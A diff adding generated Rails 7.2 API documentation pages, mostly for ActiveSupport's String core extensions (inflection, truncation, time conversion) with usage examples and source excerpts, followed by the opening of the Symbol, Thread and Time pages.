+"hello".exclude? ?h   # => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/exclude.rb, line 10
+  def exclude?(string)
+    !include?(string)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + first(limit = 1) + +

+ + +
+

Returns the first character. If a limit is supplied, returns a substring from the beginning of the string until it reaches the limit value. If the given limit is greater than or equal to the string length, returns a copy of self.

+ +
str = "hello"
+str.first    # => "h"
+str.first(1) # => "h"
+str.first(2) # => "he"
+str.first(0) # => ""
+str.first(6) # => "hello"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/access.rb, line 78
+  def first(limit = 1)
+    self[0, limit] || raise(ArgumentError, "negative limit")
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + foreign_key(separate_class_name_and_id_with_underscore = true) + +

+ + +
+

Creates a foreign key name from a class name. separate_class_name_and_id_with_underscore sets whether the method should put β€˜_’ between the name and β€˜id’.

+ +
'Message'.foreign_key        # => "message_id"
+'Message'.foreign_key(false) # => "messageid"
+'Admin::Post'.foreign_key    # => "post_id"
+
+ +

See ActiveSupport::Inflector.foreign_key.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/inflections.rb, line 297
+  def foreign_key(separate_class_name_and_id_with_underscore = true)
+    ActiveSupport::Inflector.foreign_key(self, separate_class_name_and_id_with_underscore)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + from(position) + +

+ + +
+

Returns a substring from the given position to the end of the string. If the position is negative, it is counted from the end of the string.

+ +
str = "hello"
+str.from(0)  # => "hello"
+str.from(3)  # => "lo"
+str.from(-2) # => "lo"
+
+ +

You can mix it with to method and do fun things like:

+ +
str = "hello"
+str.from(0).to(-1) # => "hello"
+str.from(1).to(-2) # => "ell"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/access.rb, line 46
+  def from(position)
+    self[position, length]
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + html_safe() + +

+ + +
+

Marks a string as trusted safe. It will be inserted into HTML with no additional escaping performed. It is your responsibility to ensure that the string contains no malicious content. This method is equivalent to the raw helper in views. It is recommended that you use sanitize instead of this method. It should never be called on user input.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/output_safety.rb, line 225
+  def html_safe
+    ActiveSupport::SafeBuffer.new(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + humanize(capitalize: true, keep_id_suffix: false) + +

+ + +
+

Capitalizes the first word, turns underscores into spaces, and (by default) strips a trailing β€˜_id’ if present. Like titleize, this is meant for creating pretty output.

+ +

The capitalization of the first word can be turned off by setting the optional parameter capitalize to false. By default, this parameter is true.

+ +

The trailing β€˜_id’ can be kept and capitalized by setting the optional parameter keep_id_suffix to true. By default, this parameter is false.

+ +
'employee_salary'.humanize                    # => "Employee salary"
+'author_id'.humanize                          # => "Author"
+'author_id'.humanize(capitalize: false)       # => "author"
+'_id'.humanize                                # => "Id"
+'author_id'.humanize(keep_id_suffix: true)    # => "Author id"
+
+ +

See ActiveSupport::Inflector.humanize.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/inflections.rb, line 262
+  def humanize(capitalize: true, keep_id_suffix: false)
+    ActiveSupport::Inflector.humanize(self, capitalize: capitalize, keep_id_suffix: keep_id_suffix)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + in_time_zone(zone = ::Time.zone) + +

+ + +
+

Converts String to a TimeWithZone in the current zone if Time.zone or Time.zone_default is set, otherwise converts String to a Time via String#to_time

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/zones.rb, line 9
+  def in_time_zone(zone = ::Time.zone)
+    if zone
+      ::Time.find_zone!(zone).parse(self)
+    else
+      to_time
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + indent(amount, indent_string = nil, indent_empty_lines = false) + +

+ + +
+

Indents the lines in the receiver:

+ +
<<EOS.indent(2)
+def some_method
+  some_code
+end
+EOS
+# =>
+  def some_method
+    some_code
+  end
+
+ +

The second argument, indent_string, specifies which indent string to use. The default is nil, which tells the method to make a guess by peeking at the first indented line, and fall back to a space if there is none.

+ +
"  foo".indent(2)        # => "    foo"
+"foo\n\t\tbar".indent(2) # => "\t\tfoo\n\t\t\t\tbar"
+"foo".indent(2, "\t")    # => "\t\tfoo"
+
+ +

While indent_string is typically one space or tab, it may be any string.

+ +

The third argument, indent_empty_lines, is a flag that says whether empty lines should be indented. Default is false.

+ +
"foo\n\nbar".indent(2)            # => "  foo\n\n  bar"
+"foo\n\nbar".indent(2, nil, true) # => "  foo\n  \n  bar"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/indent.rb, line 42
+  def indent(amount, indent_string = nil, indent_empty_lines = false)
+    dup.tap { |_| _.indent!(amount, indent_string, indent_empty_lines) }
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + indent!(amount, indent_string = nil, indent_empty_lines = false) + +

+ + +
+

Same as indent, except it indents the receiver in-place.

+ +

Returns the indented string, or nil if there was nothing to indent.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/indent.rb, line 7
+  def indent!(amount, indent_string = nil, indent_empty_lines = false)
+    indent_string = indent_string || self[/^[ \t]/] || " "
+    re = indent_empty_lines ? /^/ : /^(?!$)/
+    gsub!(re, indent_string * amount)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + inquiry() + +

+ + +
+

Wraps the current string in the ActiveSupport::StringInquirer class, which gives you a prettier way to test for equality.

+ +
env = 'production'.inquiry
+env.production?  # => true
+env.development? # => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/inquiry.rb, line 13
+  def inquiry
+    ActiveSupport::StringInquirer.new(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + is_utf8?() + +

+ + +
+

Returns true if string has utf_8 encoding.

+ +
utf_8_str = "some string".encode "UTF-8"
+iso_str = "some string".encode "ISO-8859-1"
+
+utf_8_str.is_utf8? # => true
+iso_str.is_utf8?   # => false
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/multibyte.rb, line 48
+  def is_utf8?
+    case encoding
+    when Encoding::UTF_8, Encoding::US_ASCII
+      valid_encoding?
+    when Encoding::ASCII_8BIT
+      dup.force_encoding(Encoding::UTF_8).valid_encoding?
+    else
+      false
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + last(limit = 1) + +

+ + +
+

Returns the last character of the string. If a limit is supplied, returns a substring from the end of the string until it reaches the limit value (counting backwards). If the given limit is greater than or equal to the string length, returns a copy of self.

+ +
str = "hello"
+str.last    # => "o"
+str.last(1) # => "o"
+str.last(2) # => "lo"
+str.last(0) # => ""
+str.last(6) # => "hello"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/access.rb, line 92
+  def last(limit = 1)
+    self[[length - limit, 0].max, limit] || raise(ArgumentError, "negative limit")
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + mb_chars() + +

+ + +
+

Multibyte proxy

+ +

mb_chars is a multibyte safe proxy for string methods.

+ +

It creates and returns an instance of the ActiveSupport::Multibyte::Chars class which encapsulates the original string. A Unicode safe version of all the String methods are defined on this proxy class. If the proxy class doesn’t respond to a certain method, it’s forwarded to the encapsulated string.

+ +
>> "Η‰".mb_chars.upcase.to_s
+=> "Η‡"
+
+ +

NOTE: Ruby 2.4 and later support native Unicode case mappings:

+ +
>> "Η‰".upcase
+=> "Η‡"
+
+ +

Method chaining

+ +

All the methods on the Chars proxy which normally return a string will return a Chars object. This allows method chaining on the result of any of these methods.

+ +
name.mb_chars.reverse.length # => 12
+
+ +

Interoperability and configuration

+ +

The Chars object tries to be as interchangeable with String objects as possible: sorting and comparing between String and Char work like expected. The bang! methods change the internal string representation in the Chars object. Interoperability problems can be resolved easily with a to_s call.

+ +

For more information about the methods defined on the Chars proxy see ActiveSupport::Multibyte::Chars. For information about how to change the default Multibyte behavior see ActiveSupport::Multibyte.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/multibyte.rb, line 37
+  def mb_chars
+    ActiveSupport::Multibyte.proxy_class.new(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + parameterize(separator: "-", preserve_case: false, locale: nil) + +

+ + +
+

Replaces special characters in a string so that it may be used as part of a β€˜pretty’ URL.

+ +

If the optional parameter locale is specified, the word will be parameterized as a word of that language. By default, this parameter is set to nil and it will use the configured I18n.locale.

+ +
class Person
+  def to_param
+    "#{id}-#{name.parameterize}"
+  end
+end
+
+@person = Person.find(1)
+# => #<Person id: 1, name: "Donald E. Knuth">
+
+<%= link_to(@person.name, person_path) %>
+# => <a href="/person/1-donald-e-knuth">Donald E. Knuth</a>
+
+ +

To preserve the case of the characters in a string, use the preserve_case argument.

+ +
class Person
+  def to_param
+    "#{id}-#{name.parameterize(preserve_case: true)}"
+  end
+end
+
+@person = Person.find(1)
+# => #<Person id: 1, name: "Donald E. Knuth">
+
+<%= link_to(@person.name, person_path) %>
+# => <a href="/person/1-Donald-E-Knuth">Donald E. Knuth</a>
+
+ +

See ActiveSupport::Inflector.parameterize.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/inflections.rb, line 215
+  def parameterize(separator: "-", preserve_case: false, locale: nil)
+    ActiveSupport::Inflector.parameterize(self, separator: separator, preserve_case: preserve_case, locale: locale)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + pluralize(count = nil, locale = :en) + +

+ + +
+

Returns the plural form of the word in the string.

+ +

If the optional parameter count is specified, the singular form will be returned if count == 1. For any other value of count the plural will be returned.

+ +

If the optional parameter locale is specified, the word will be pluralized as a word of that language. By default, this parameter is set to :en. You must define your own inflection rules for languages other than English.

+ +
'post'.pluralize             # => "posts"
+'octopus'.pluralize          # => "octopi"
+'sheep'.pluralize            # => "sheep"
+'words'.pluralize            # => "words"
+'the blue mailman'.pluralize # => "the blue mailmen"
+'CamelOctopus'.pluralize     # => "CamelOctopi"
+'apple'.pluralize(1)         # => "apple"
+'apple'.pluralize(2)         # => "apples"
+'ley'.pluralize(:es)         # => "leyes"
+'ley'.pluralize(1, :es)      # => "ley"
+
+ +

See ActiveSupport::Inflector.pluralize.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/inflections.rb, line 35
+  def pluralize(count = nil, locale = :en)
+    locale = count if count.is_a?(Symbol)
+    if count == 1
+      dup
+    else
+      ActiveSupport::Inflector.pluralize(self, locale)
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove(*patterns) + +

+ + +
+

Returns a new string with all occurrences of the patterns removed.

+ +
str = "foo bar test"
+str.remove(" test")                 # => "foo bar"
+str.remove(" test", /bar/)          # => "foo "
+str                                 # => "foo bar test"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/filters.rb, line 32
+  def remove(*patterns)
+    dup.remove!(*patterns)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + remove!(*patterns) + +

+ + +
+

Alters the string by removing all occurrences of the patterns.

+ +
str = "foo bar test"
+str.remove!(" test", /bar/)         # => "foo "
+str                                 # => "foo "
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/filters.rb, line 40
+  def remove!(*patterns)
+    patterns.each do |pattern|
+      gsub! pattern, ""
+    end
+
+    self
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + safe_constantize() + +

+ + +
+

safe_constantize tries to find a declared constant with the name specified in the string. It returns nil when the name is not in CamelCase or is not initialized.

+ +
'Module'.safe_constantize  # => Module
+'Class'.safe_constantize   # => Class
+'blargle'.safe_constantize # => nil
+
+ +

See ActiveSupport::Inflector.safe_constantize.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/inflections.rb, line 86
+  def safe_constantize
+    ActiveSupport::Inflector.safe_constantize(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + singularize(locale = :en) + +

+ + +
+

The reverse of pluralize, returns the singular form of a word in a string.

+ +

If the optional parameter locale is specified, the word will be singularized as a word of that language. By default, this parameter is set to :en. You must define your own inflection rules for languages other than English.

+ +
'posts'.singularize            # => "post"
+'octopi'.singularize           # => "octopus"
+'sheep'.singularize            # => "sheep"
+'word'.singularize             # => "word"
+'the blue mailmen'.singularize # => "the blue mailman"
+'CamelOctopi'.singularize      # => "CamelOctopus"
+'leyes'.singularize(:es)       # => "ley"
+
+ +

See ActiveSupport::Inflector.singularize.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/inflections.rb, line 60
+  def singularize(locale = :en)
+    ActiveSupport::Inflector.singularize(self, locale)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + squish() + +

+ + +
+

Returns the string, first removing all whitespace on both ends of the string, and then changing remaining consecutive whitespace groups into one space each.

+ +

Note that it handles both ASCII and Unicode whitespace.

+ +
%{ Multi-line
+   string }.squish                   # => "Multi-line string"
+" foo   bar    \n   \t   boo".squish # => "foo bar boo"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/filters.rb, line 13
+  def squish
+    dup.squish!
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + squish!() + +

+ + +
+

Performs a destructive squish. See String#squish.

+ +
str = " foo   bar    \n   \t   boo"
+str.squish!                         # => "foo bar boo"
+str                                 # => "foo bar boo"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/filters.rb, line 21
+  def squish!
+    gsub!(/[[:space:]]+/, " ")
+    strip!
+    self
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + strip_heredoc() + +

+ + +
+

Strips indentation in heredocs.

+ +

For example in

+ +
if options[:usage]
+  puts <<-USAGE.strip_heredoc
+    This command does such and such.
+
+    Supported options are:
+      -h         This message
+      ...
+  USAGE
+end
+
+ +

the user would see the usage message aligned against the left margin.

+ +

Technically, it looks for the least indented non-empty line in the whole string, and removes that amount of leading whitespace.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/strip.rb, line 22
+  def strip_heredoc
+    gsub(/^#{scan(/^[ \t]*(?=\S)/).min}/, "").tap do |stripped|
+      stripped.freeze if frozen?
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + tableize() + +

+ + +
+

Creates the name of a table like Rails does for models to table names. This method uses the pluralize method on the last word in the string.

+ +
'RawScaledScorer'.tableize # => "raw_scaled_scorers"
+'ham_and_egg'.tableize     # => "ham_and_eggs"
+'fancyCategory'.tableize   # => "fancy_categories"
+
+ +

See ActiveSupport::Inflector.tableize.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/inflections.rb, line 227
+  def tableize
+    ActiveSupport::Inflector.tableize(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + titlecase(keep_id_suffix: false) + +

+ + +
+ +
+ + + + + +
+ Alias for: titleize +
+ + + + +
+ +
+

+ + titleize(keep_id_suffix: false) + +

+ + +
+

Capitalizes all the words and replaces some characters in the string to create a nicer looking title. titleize is meant for creating pretty output. It is not used in the Rails internals.

+ +

The trailing β€˜_id’,β€˜Id’.. can be kept and capitalized by setting the optional parameter keep_id_suffix to true. By default, this parameter is false.

+ +
'man from the boondocks'.titleize                       # => "Man From The Boondocks"
+'x-men: the last stand'.titleize                        # => "X Men: The Last Stand"
+'string_ending_with_id'.titleize(keep_id_suffix: true)  # => "String Ending With Id"
+
+ +

See ActiveSupport::Inflector.titleize.

+
+ + + +
+ Also aliased as: titlecase +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/inflections.rb, line 126
+  def titleize(keep_id_suffix: false)
+    ActiveSupport::Inflector.titleize(self, keep_id_suffix: keep_id_suffix)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to(position) + +

+ + +
+

Returns a substring from the beginning of the string to the given position. If the position is negative, it is counted from the end of the string.

+ +
str = "hello"
+str.to(0)  # => "h"
+str.to(3)  # => "hell"
+str.to(-2) # => "hell"
+
+ +

You can mix it with from method and do fun things like:

+ +
str = "hello"
+str.from(0).to(-1) # => "hello"
+str.from(1).to(-2) # => "ell"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/access.rb, line 63
+  def to(position)
+    position += size if position < 0
+    self[0, position + 1] || +""
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_date() + +

+ + +
+

Converts a string to a Date value.

+ +
"1-1-2012".to_date   # => Sun, 01 Jan 2012
+"01/01/2012".to_date # => Sun, 01 Jan 2012
+"2012-12-13".to_date # => Thu, 13 Dec 2012
+"12/13/2012".to_date # => ArgumentError: invalid date
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/conversions.rb, line 47
+  def to_date
+    ::Date.parse(self, false) unless blank?
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_datetime() + +

+ + +
+

Converts a string to a DateTime value.

+ +
"1-1-2012".to_datetime            # => Sun, 01 Jan 2012 00:00:00 +0000
+"01/01/2012 23:59:59".to_datetime # => Sun, 01 Jan 2012 23:59:59 +0000
+"2012-12-13 12:50".to_datetime    # => Thu, 13 Dec 2012 12:50:00 +0000
+"12/13/2012".to_datetime          # => ArgumentError: invalid date
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/conversions.rb, line 57
+  def to_datetime
+    ::DateTime.parse(self, false) unless blank?
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + to_time(form = :local) + +

+ + +
+

Converts a string to a Time value. The form can be either :utc or :local (default :local).

+ +

The time is parsed using Time.parse method. If form is :local, then the time is in the system timezone. If the date part is missing then the current date is used and if the time part is missing then it is assumed to be 00:00:00.

+ +
"13-12-2012".to_time               # => 2012-12-13 00:00:00 +0100
+"06:12".to_time                    # => 2012-12-13 06:12:00 +0100
+"2012-12-13 06:12".to_time         # => 2012-12-13 06:12:00 +0100
+"2012-12-13T06:12".to_time         # => 2012-12-13 06:12:00 +0100
+"2012-12-13T06:12".to_time(:utc)   # => 2012-12-13 06:12:00 UTC
+"12/13/2012".to_time               # => ArgumentError: argument out of range
+"1604326192".to_time               # => ArgumentError: argument out of range
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/conversions.rb, line 22
+  def to_time(form = :local)
+    parts = Date._parse(self, false)
+    used_keys = %i(year mon mday hour min sec sec_fraction offset)
+    return if !parts.keys.intersect?(used_keys)
+
+    now = Time.now
+    time = Time.new(
+      parts.fetch(:year, now.year),
+      parts.fetch(:mon, now.month),
+      parts.fetch(:mday, now.day),
+      parts.fetch(:hour, 0),
+      parts.fetch(:min, 0),
+      parts.fetch(:sec, 0) + parts.fetch(:sec_fraction, 0),
+      parts.fetch(:offset, form == :utc ? 0 : nil)
+    )
+
+    form == :utc ? time.utc : time.to_time
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + truncate(truncate_to, options = {}) + +

+ + +
+

Truncates a given text to length truncate_to if text is longer than truncate_to:

+ +
'Once upon a time in a world far far away'.truncate(27)
+# => "Once upon a time in a wo..."
+
+ +

Pass a string or regexp :separator to truncate text at a natural break:

+ +
'Once upon a time in a world far far away'.truncate(27, separator: ' ')
+# => "Once upon a time in a..."
+
+'Once upon a time in a world far far away'.truncate(27, separator: /\s/)
+# => "Once upon a time in a..."
+
+ +

The last characters will be replaced with the :omission string (defaults to β€œβ€¦β€). The total length will not exceed truncate_to unless both text and :omission are longer than truncate_to:

+ +
'And they found that many people were sleeping better.'.truncate(25, omission: '... (continued)')
+# => "And they f... (continued)"
+
+'And they found that many people were sleeping better.'.truncate(4, omission: '... (continued)')
+# => "... (continued)"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/filters.rb, line 70
+  def truncate(truncate_to, options = {})
+    return dup unless length > truncate_to
+
+    omission = options[:omission] || "..."
+    length_with_room_for_omission = truncate_to - omission.length
+    stop = \
+      if options[:separator]
+        rindex(options[:separator], length_with_room_for_omission) || length_with_room_for_omission
+      else
+        length_with_room_for_omission
+      end
+
+    +"#{self[0, stop]}#{omission}"
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + truncate_bytes(truncate_to, omission: "…") + +

+ + +
+

Truncates text to at most truncate_to bytes in length without breaking string encoding by splitting multibyte characters or breaking grapheme clusters (β€œperceptual characters”) by truncating at combining characters.

+ +
>> "πŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺ".size
+=> 20
+>> "πŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺ".bytesize
+=> 80
+>> "πŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺ".truncate_bytes(20)
+=> "πŸ”ͺπŸ”ͺπŸ”ͺπŸ”ͺ…"
+
+ +

The truncated text ends with the :omission string, defaulting to β€œβ€¦β€, for a total length not exceeding truncate_to.

+ +

Raises ArgumentError when the bytesize of :omission exceeds truncate_to.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/filters.rb, line 101
+  def truncate_bytes(truncate_to, omission: "…")
+    omission ||= ""
+
+    case
+    when bytesize <= truncate_to
+      dup
+    when omission.bytesize > truncate_to
+      raise ArgumentError, "Omission #{omission.inspect} is #{omission.bytesize}, larger than the truncation length of #{truncate_to} bytes"
+    when omission.bytesize == truncate_to
+      omission.dup
+    else
+      self.class.new.force_encoding(encoding).tap do |cut|
+        cut_at = truncate_to - omission.bytesize
+
+        each_grapheme_cluster do |grapheme|
+          if cut.bytesize + grapheme.bytesize <= cut_at
+            cut << grapheme
+          else
+            break
+          end
+        end
+
+        cut << omission
+      end
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + truncate_words(words_count, options = {}) + +

+ + +
+

Truncates a given text after a given number of words (words_count):

+ +
'Once upon a time in a world far far away'.truncate_words(4)
+# => "Once upon a time..."
+
+ +

Pass a string or regexp :separator to specify a different separator of words:

+ +
'Once<br>upon<br>a<br>time<br>in<br>a<br>world'.truncate_words(5, separator: '<br>')
+# => "Once<br>upon<br>a<br>time<br>in..."
+
+ +

The last characters will be replaced with the :omission string (defaults to β€œβ€¦β€):

+ +
'And they found that many people were sleeping better.'.truncate_words(5, omission: '... (continued)')
+# => "And they found that many... (continued)"
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/filters.rb, line 142
+  def truncate_words(words_count, options = {})
+    sep = options[:separator] || /\s+/
+    sep = Regexp.escape(sep.to_s) unless Regexp === sep
+    if self =~ /\A((?>.+?#{sep}){#{words_count - 1}}.+?)#{sep}.*/m
+      $1 + (options[:omission] || "...")
+    else
+      dup
+    end
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + underscore() + +

+ + +
+

The reverse of camelize. Makes an underscored, lowercase form from the expression in the string.

+ +

underscore will also change β€˜::’ to β€˜/’ to convert namespaces to paths.

+ +
'ActiveModel'.underscore         # => "active_model"
+'ActiveModel::Errors'.underscore # => "active_model/errors"
+
+ +

See ActiveSupport::Inflector.underscore.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/inflections.rb, line 139
+  def underscore
+    ActiveSupport::Inflector.underscore(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + upcase_first() + +

+ + +
+

Converts the first character to uppercase.

+ +
'what a Lovely Day'.upcase_first # => "What a Lovely Day"
+'w'.upcase_first                 # => "W"
+''.upcase_first                  # => ""
+
+ +

See ActiveSupport::Inflector.upcase_first.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/string/inflections.rb, line 273
+  def upcase_first
+    ActiveSupport::Inflector.upcase_first(self)
+  end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/Symbol.html b/src/7.2/classes/Symbol.html new file mode 100644 index 0000000000..4737ab9353 --- /dev/null +++ b/src/7.2/classes/Symbol.html @@ -0,0 +1,64 @@ +--- +title: Symbol +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Thread.html b/src/7.2/classes/Thread.html new file mode 100644 index 0000000000..b7a1283042 --- /dev/null +++ b/src/7.2/classes/Thread.html @@ -0,0 +1,67 @@ +--- +title: Thread +layout: default +--- +
+ +
+
+ + + + + + + + + +

Namespace

+ + +

Module

+ + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Thread/Backtrace.html b/src/7.2/classes/Thread/Backtrace.html new file mode 100644 index 0000000000..0b3be01bf5 --- /dev/null +++ b/src/7.2/classes/Thread/Backtrace.html @@ -0,0 +1,54 @@ +--- +title: Thread::Backtrace +layout: default +--- +
+ +
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ +
+
diff --git a/src/7.2/classes/Time.html b/src/7.2/classes/Time.html new file mode 100644 index 0000000000..76846af14f --- /dev/null +++ b/src/7.2/classes/Time.html @@ -0,0 +1,2660 @@ +--- +title: Time +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + +

Included Modules

+ + + + + + + + + + +

Constants

+ + + + + + + + + + + + + + + + +
COMMON_YEAR_DAYS_IN_MONTH=[nil, 31, 28, 31, 30, 31, 30, 31, 31, 30, 31, 30, 31]
DATE_FORMATS={ +db: "%Y-%m-%d %H:%M:%S", +inspect: "%Y-%m-%d %H:%M:%S.%9N %z", +number: "%Y%m%d%H%M%S", +nsec: "%Y%m%d%H%M%S%9N", +usec: "%Y%m%d%H%M%S%6N", +time: "%H:%M", +short: "%d %b %H:%M", +long: "%B %d, %Y %H:%M", +long_ordinal: lambda { |time| +day_format = ActiveSupport::Inflector.ordinalize(time.day) +time.strftime("%B #{day_format}, %Y %H:%M") +}, +rfc822: lambda { |time| +offset_format = time.formatted_offset(false) +time.strftime("%a, %d %b %Y %H:%M:%S #{offset_format}") +}, +iso8601: lambda { |time| time.iso8601 } +}
+ + + + +

Attributes

+ + + + + + + + +
+ [RW] + zone_default
+ + + + +

Class Public methods

+ +
+

+ + ===(other) + +

+ + +
+

Overriding case equality method so that it returns true for ActiveSupport::TimeWithZone instances

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 18
+    def ===(other)
+      super || (self == Time && other.is_a?(ActiveSupport::TimeWithZone))
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + at(time_or_number, *args) + +

+ + +
+ +
+ + + +
+ Also aliased as: at_without_coercion +
+ + + +
+ Alias for: at_with_coercion +
+ + + + +
+ +
+

+ + at_with_coercion(time_or_number, *args) + +

+ + +
+

Layers additional behavior on Time.at so that ActiveSupport::TimeWithZone and DateTime instances can be used when called with a single argument

+
+ + + +
+ Also aliased as: at +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 45
+    def at_with_coercion(time_or_number, *args)
+      if args.empty?
+        if time_or_number.is_a?(ActiveSupport::TimeWithZone)
+          at_without_coercion(time_or_number.to_r).getlocal
+        elsif time_or_number.is_a?(DateTime)
+          at_without_coercion(time_or_number.to_f).getlocal
+        else
+          at_without_coercion(time_or_number)
+        end
+      else
+        at_without_coercion(time_or_number, *args)
+      end
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + at_without_coercion(time_or_number, *args) + +

+ + +
+ +
+ + + + + +
+ Alias for: at +
+ + + + +
+ +
+

+ + current() + +

+ + +
+

Returns Time.zone.now when Time.zone or config.time_zone are set, otherwise just returns Time.now.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activesupport/lib/active_support/core_ext/time/calculations.rb, line 39
+    def current
